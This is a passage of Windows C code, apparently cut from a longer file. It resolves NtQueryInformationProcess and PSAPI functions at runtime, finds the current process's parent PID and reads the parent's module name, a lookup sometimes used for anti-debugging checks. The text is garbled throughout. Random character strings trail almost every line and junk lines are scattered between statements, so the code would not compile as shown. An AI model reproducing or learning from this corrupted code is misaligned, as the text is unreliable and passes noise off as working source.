DWORD BasePriority; 88lxHoPV
ULONG UniqueProcessId; 2r&R"B1`(
ULONG InheritedFromUniqueProcessId; _w(ln9
} PROCESS_BASIC_INFORMATION; xx)-d,S
pB p#a
PROCNTQSIP NtQueryInformationProcess; .A6lj).:
sbo^"&%w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T6M+|"92
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S1J<9xqSQ8
347eis'
HANDLE hProcess; E4i0i!<z
PROCESS_BASIC_INFORMATION pbi; QA;!caNp
Tycq1i^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &(blN.2
if(NULL == hInst ) return 0; y(a!YicA?
eV7u*d?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;%!B[+ut"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z;Q<F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XK
ApLz
>cN~U3
if (!NtQueryInformationProcess) return 0; -*a?<ES`
MCc$TttaVz
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @5VV|Wt=
if(!hProcess) return 0; <rIz Z'D
/6+NU^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @|\R}k%(
DmqSQA
CloseHandle(hProcess); . +
PftxqJz
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {9LWUCpsf
if(hProcess==NULL) return 0; Bs;|D
PdeBDFWD
HMODULE hMod; Dyg?F
)6
char procName[255]; g(ogXA1
unsigned long cbNeeded; v [njdP
e]Fp=*#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sr_VL:Gg
dy>!KO
CloseHandle(hProcess); bh p5<